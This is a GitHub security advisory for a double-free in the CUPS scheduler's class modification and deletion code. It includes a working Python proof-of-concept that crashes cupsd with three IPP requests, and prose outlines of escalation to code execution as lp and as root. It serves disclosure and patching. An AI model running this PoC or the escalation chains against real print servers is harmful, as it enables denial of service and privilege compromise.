Skip to content

GHSA-pwg4-pv39-8c22

CVE Information

Summary

cupsd contains a double-free in class modification/deletion.

When CUPS-Add-Modify-Class replaces the member list of an existing class, add_class() frees pclass->printers and resets num_printers to zero, but does not set the pointer to NULL. If later validation in the same request fails, the class object remains alive with pclass->printers pointing to freed memory. A subsequent CUPS-Delete-Class reaches cupsdDeletePrinter(), which frees the same pointer again.

The minimal trigger is three IPP requests:

  1. create or modify a class with one valid member;
  2. modify the same class with an invalid member URI, causing the old member array to be freed before validation fails;
  3. delete the class, causing the stale pointer to be freed again.

The bug was reproduced against both:

  • CUPS v2.4.19: AddressSanitizer reports an attempted double-free, with the first free in add_class() and the second in cupsdDeletePrinter().
  • 2.4.x branch HEAD a7bd8ba (2026-10-01, version string 2.4.20): the same three-request sequence causes an uninstrumented glibc build to terminate with free(): double free detected in tcache 2.

With the stock CUPS policy, class-management operations require @SYSTEM, so the baseline impact is an authenticated denial of service against the privileged scheduler.

On the tested 2.4.x HEAD, the resulting stale-allocation primitive was additionally exploited to controlled filter execution:

  • service-account (lp) execution was demonstrated on a root-started daemon when the heap layout is known or independently disclosed, with the CUPS configuration itself otherwise stock;
  • LogLevel debug2 logging adds an address-disclosure-assisted exploitation path when the error log is readable by the attacker;
  • root code execution was demonstrated when FileDevice Yes is enabled in addition to a known heap layout.

The lp and root results were demonstrated against root-started daemons; the debug2 path was demonstrated end-to-end in an unprivileged test harness on the same HEAD (see Impact). All were run on the 2.4.x HEAD; for v2.4.19, the runtime-confirmed claims in this report are the double-free itself and the resulting scheduler crash.

Source inspection shows the same free-without-NULL pattern at least as far back as release-1.4.8; it is also present in release-2.0.4, v2.2.13, the inspected v2.4.x releases, and the current 2.4.x branch HEAD. Runtime reproduction was performed on v2.4.19 and a7bd8ba; older versions were assessed by source inspection.

Details

1. First free leaves a dangling pointer

When an existing class receives a new member-uris list, add_class() releases the old member array:

if (pclass->num_printers > 0)
{
  free(pclass->printers);
  pclass->num_printers = 0;
}

Location:

v2.4.19:
scheduler/ipp.c:972-976
first free at ipp.c:974

2.4.x HEAD a7bd8ba:
first free at scheduler/ipp.c:982

pclass->printers is not set to NULL.

The object is therefore left temporarily in the following state:

num_printers = 0
printers     = <freed allocation>

This would not by itself be a problem if the pointer were always replaced before the function returned. However, additional validation occurs after the free.

2. Validation failures preserve the stale pointer

Several later validation paths can return before a replacement member array is installed.

For example, member URIs are validated with cupsdValidateDest() — after the original pclass->printers allocation has already been freed. Post-free failure cases include:

  • a member-uri referring to a nonexistent destination;
  • a member-uri referring to another class, which is rejected because nested classes are not allowed;
  • later printer-default validation failures, such as an invalid printer operation policy.

For an existing class, these errors do not destroy the class object. The class remains registered with:

pclass->num_printers == 0
pclass->printers     == dangling pointer

Most code does not immediately notice the invalid pointer because accesses to the member array are bounded by num_printers.

The stale pointer therefore survives until the class is deleted.

3. Class deletion frees the same allocation again

cupsdDeletePrinter() later releases a class's member array:

if (p->printers != NULL)
  free(p->printers);

Location:

v2.4.19:
scheduler/printers.c:715-716

2.4.x HEAD a7bd8ba:
second free at scheduler/printers.c:733

Because pclass->printers was never cleared after the first free, it remains non-NULL.

The delete path therefore calls free() on the same allocation a second time.

With AddressSanitizer on v2.4.19, the same heap region is reported as:

first free:
    add_class()
    scheduler/ipp.c:974

second free:
    cupsdDeletePrinter()
    scheduler/printers.c:716

On the uninstrumented 2.4.x HEAD build, the same request sequence terminates the daemon with:

free(): double free detected in tcache 2

followed by SIGABRT.

4. Minimal trigger sequence

The bug requires only three class-management requests.

Request 1 — create a class containing a valid printer
CUPS-Add-Modify-Class c1

member-uris:
    ipp://host/printers/p1

The resulting class contains one member and owns a dynamically allocated printers array.

Request 2 — replace the member list with an invalid destination
CUPS-Add-Modify-Class c1

member-uris:
    ipp://host/printers/nonexistent

add_class() first frees the existing pclass->printers array.

Validation of the new URI then fails.

The existing class survives, but its printers field still contains the freed address.

Request 3 — delete the class
CUPS-Delete-Class c1

cupsdDeletePrinter() sees a non-NULL p->printers value and calls free() on it again.

This produces the double-free.

Proof of concept

Test conditions

The minimal reproduction was tested against:

CUPS v2.4.19

and

2.4.x branch HEAD
commit: a7bd8ba
date:   2026-10-01
version string: 2.4.20

The server needs one existing printer queue that can be used as the valid initial class member, for example:

/printers/p1

The client must be authorized to perform:

CUPS-Add-Modify-Class
CUPS-Delete-Class

Under the shipped CUPS policy these operations require @SYSTEM.

Note on authentication: the supplied minimal PoC does not implement CUPS authentication. Reproduce it either

  • against a test policy that grants only these two class-management operations to the test client (printer-management permissions are not required to trigger the bug), or
  • by performing the same three IPP operations with an authenticated @SYSTEM account under the shipped policy.

Without one of the above, the script's requests are answered with HTTP 401 Unauthorized before any class operation is processed.

PoC script

#!/usr/bin/env python3
"""
PoC: cupsd double-free in class deletion.

v2.4.19:
    first free:  scheduler/ipp.c:974
    second free: scheduler/printers.c:716

2.4.x HEAD a7bd8ba:
    first free:  scheduler/ipp.c:982
    second free: scheduler/printers.c:733
"""

import socket
import struct
import sys


HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 631

CURI = f"ipp://{HOST}:{PORT}/classes/c009"


def attr_str(tag, name, value):
    value = value.encode()

    return (
        struct.pack(">BH", tag, len(name))
        + name.encode()
        + struct.pack(">H", len(value))
        + value
    )


def attr_uris(name, uris):
    name_bytes = name.encode()

    out = struct.pack(">BH", 0x45, len(name_bytes)) + name_bytes

    for uri in uris:
        value = uri.encode()
        out += struct.pack(">H", len(value)) + value

    return out


def ipp_request(opid, reqid, groups, path):
    body = struct.pack(">BBHI", 1, 1, opid, reqid)

    for group_tag, attrs in groups:
        body += bytes([group_tag]) + attrs

    body += b"\x03"

    request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Content-Type: application/ipp\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + body

    sock = socket.create_connection((HOST, PORT))
    sock.settimeout(15)
    sock.sendall(request)

    response = b""

    try:
        while True:
            chunk = sock.recv(4096)

            if not chunk:
                break

            response += chunk

    except socket.timeout:
        pass

    sock.close()

    if b"\r\n\r\n" not in response:
        return None

    ipp = response.split(b"\r\n\r\n", 1)[1]

    if len(ipp) < 6:
        return None

    return struct.unpack(">H", ipp[2:4])[0]


def op_attrs(extra=b""):
    return (
        attr_str(0x47, "attributes-charset", "utf-8")
        + attr_str(0x48, "attributes-natural-language", "en")
        + attr_str(0x45, "printer-uri", CURI)
        + extra
    )


# Step 1:
# Create/modify the class with one valid member.
status = ipp_request(
    0x4006,
    1,
    [
        (0x01, op_attrs()),
        (
            0x04,
            attr_uris(
                "member-uris",
                [f"ipp://{HOST}:{PORT}/printers/p1"],
            ),
        ),
    ],
    "/classes/c009",
)

print(
    "[*] Add-Modify-Class (valid member): "
    + (hex(status) if status is not None else "?")
)


# Step 2:
# Replace the member list with a nonexistent printer.
#
# The existing member array is freed before validation fails,
# leaving pclass->printers dangling.
status = ipp_request(
    0x4006,
    2,
    [
        (0x01, op_attrs()),
        (
            0x04,
            attr_uris(
                "member-uris",
                [f"ipp://{HOST}:{PORT}/printers/nonexistent"],
            ),
        ),
    ],
    "/classes/c009",
)

print(
    "[*] Add-Modify-Class (bad member): "
    + (hex(status) if status is not None else "?")
)


# Step 3:
# Delete the class.
#
# cupsdDeletePrinter() frees the stale printers pointer again.
try:
    status = ipp_request(
        0x4007,
        3,
        [(0x01, op_attrs())],
        "/classes/c009",
    )

    print(
        "[*] Delete-Class: "
        + (
            hex(status)
            if status is not None
            else "no response (daemon died?)"
        )
    )

except Exception as exc:
    print(
        f"[*] Delete-Class: connection failed ({exc}) "
        "- daemon likely dead"
    )


print(
    "[*] check: systemctl status cups / "
    "journalctl -u cups --since -1min"
)

Expected result

Typical output before the daemon terminates is:

[*] Add-Modify-Class (valid member): 0x0
[*] Add-Modify-Class (bad member): 0x406 (client-error-not-found)
[*] Delete-Class: no response (daemon died?)
v2.4.19 with AddressSanitizer

The sanitizer reports:

ERROR: AddressSanitizer: attempting double-free

The second free originates from:

cupsdDeletePrinter
scheduler/printers.c:716

and the allocation was previously freed from:

add_class
scheduler/ipp.c:974

This confirms that the same class-member allocation is freed twice.

2.4.x HEAD a7bd8ba

The same sequence against an uninstrumented vanilla build produces:

free(): double free detected in tcache 2

and the scheduler terminates with SIGABRT.

The bug is therefore still present in the tested 2.4.x branch HEAD.

Impact

The baseline impact is a deterministic authenticated denial of service for a client authorized to perform class-management operations; the underlying primitive is a memory-corruption vulnerability in the privileged cupsd scheduler.

The exact consequence depends on the affected version and deployment conditions.

v2.4.19

The directly demonstrated v2.4.19 impact is a deterministic double-free and scheduler denial of service.

With the stock policy, a user authorized for class administration (@SYSTEM, commonly an administrator or lpadmin member) can terminate the root-started cupsd process using the three-request sequence described above.

The sequence is repeatable after the scheduler restarts.

AddressSanitizer confirms that this is a genuine heap memory-safety violation rather than merely an application-level error:

free in add_class()
        ↓
class survives with dangling printers pointer
        ↓
free in cupsdDeletePrinter()
        ↓
double-free

The more advanced exploitation scenarios below were tested against the current 2.4.x branch HEAD and are not claimed here as separately reproduced against v2.4.19.

2.4.x branch HEAD a7bd8ba

The double-free remains present at the tested branch HEAD.

The basic three-request sequence reliably terminates the daemon, and the stale-allocation primitive was additionally escalated to code execution in three tested environments.

Scenario A — readable debug2 logging

When:

LogLevel debug2

is enabled and the attacker can read the resulting error log, scheduler logging exposes heap addresses needed to identify the relevant allocations.

The freed class-member array can then be reused by a live MIME-filter structure. Deleting the stale class frees that live allocation, after which controlled allocations can reoccupy it and modify the filter command.

A subsequent print job traverses the corrupted filter entry and executes the selected permitted program as the configured CUPS filter account.

On a stock root-started installation this is normally:

User lp

This path was demonstrated end-to-end on the tested 2.4.x HEAD in the unprivileged test harness, executing as the daemon's own account. On a normal root-started deployment, filter execution is performed under the configured CUPS User account (normally lp), subject to the same program-validation restrictions described under Scenario B.

Scenario B — stock CUPS configuration with heap addresses known by another means

This scenario applies when the CUPS configuration itself is stock (no debug logging required) and the relevant heap addresses are known by another means, including environments where:

  • ASLR is disabled;
  • the layout is otherwise predictable;
  • or an independent heap-address disclosure is available.

Allocator grooming using IPP requests allows the freed class-member allocation to be reused by a live mime_filter_t object.

The stale class pointer can then free the live object, after which controlled IPP allocations rewrite the same region while preserving the required internal pointers and replacing the filter command.

A subsequent print job reaches the corrupted filter during filter-graph traversal.

This was reproduced repeatedly against freshly started daemons with the attack sequence delivered entirely through IPP requests — executing as the daemon's own account in the test harness, and against a root-started daemon (with an existing permitted executable) as the lp filter account.

On stock root-started deployments, CUPS validates programs before filters and backends are executed. An attacker cannot simply introduce an arbitrary attacker-owned executable because the selected program must satisfy CUPS' ownership and permission checks.

The demonstrated result on this configuration is therefore execution as the CUPS service/filter account using an existing permitted executable, in addition to the underlying heap-corruption primitive.

Scenario C — FileDevice Yes with known heap layout

When the documented non-default option:

FileDevice Yes

is enabled, the same corrupted-filter primitive can be combined with a file: output queue.

In the tested configuration, the corrupted filter first selects an existing permitted system executable.

A file: queue then causes the root scheduler itself to open an existing root-owned backend file and write attacker-controlled print data into it.

The overwritten backend can subsequently be selected through a queue whose device-uri uses that backend scheme.

Because CUPS permits root execution of suitably protected root-owned backend programs, the overwritten backend is then spawned by the root scheduler.

The tested chain resulted in:

uid=0
euid=0
parent process = root cupsd

demonstrating root code execution on the tested 2.4.x HEAD.

This scenario depends on both:

known/predictable heap layout
and
FileDevice Yes

and therefore does not represent the default deployment condition.

Privilege boundary

With the shipped CUPS policy, this is not an unauthenticated vulnerability.

The class-management operations required to reach add_class() and cupsdDeletePrinter() are protected by @SYSTEM.

However, CUPS authorization policies can delegate class management independently of printer management.

I verified this distinction with a policy that allowed the relevant class operations while denying:

CUPS-Add-Modify-Printer

to the same client.

In that configuration, attempts to modify printers were rejected with:

HTTP 401 Unauthorized

while the client could still drive the three-request sequence to the double-free.

Therefore, in split-administration deployments, a role authorized only to manage classes can obtain a memory-corruption primitive against the privileged scheduler even when it cannot use printer-management operations that would otherwise provide more direct administrative capabilities.

The split-administration test establishes reachability of the memory-corruption primitive only. The exploitation scenarios above were evaluated with the additional printer- and job-management capabilities required by their respective chains (print jobs, filter re-registration, and — for the file: chain — queue/device configuration); they should not be read as implying that a class-only role can necessarily complete those chains.

The underlying defect is the stale pclass->printers pointer left by add_class(). Clearing it after the first free(), or deferring destruction of the old member list until the replacement has been fully validated, prevents the second free.

Fix

Type: Security hardening, not vulnerability, because it is triggerable only with admin rights

[master b17ab0ee1b5eeb9b57d5eb09ab248bb3bb5a226e] Initialize printers array to NULL after freeing (GHSA-pwg4-pv39-8c22)

[2.4.x 13bc9d4f8d695403d54469cc3c8b675e34a7037f] Initialize printers array to NULL after freeing (GHSA-pwg4-pv39-8c22)